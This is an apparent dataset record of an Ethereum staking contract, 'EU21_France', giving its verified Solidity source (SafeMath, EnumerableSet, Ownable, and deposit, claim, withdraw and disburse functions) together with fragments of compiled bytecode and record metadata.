020820190506111216000830184610fd1565b92915050565b600060208201905061113c6000830184610fe0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611169826111f2565b9150611174836111f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111a9576111a861126e565b5b828201905092915050565b60006111bf826111d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561122757808201518184015260208101905061120c565b83811115611236576000848401525b50505050565b6000600282049050600182168061125457607f821691505b602082108114156112685761126761129d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112e6816111b4565b81146112f157600080fd5b50565b6112fd816111f2565b811461130857600080fd5b5056fea2646970667358221220617a40bbb8ee4382da29a963a4010999d09d4e988083a99e28662b2d300275c764736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 9,077 |
0x31af16ac0f5aa705e2eef2bbb89f877fbf2b00b4
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_France is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b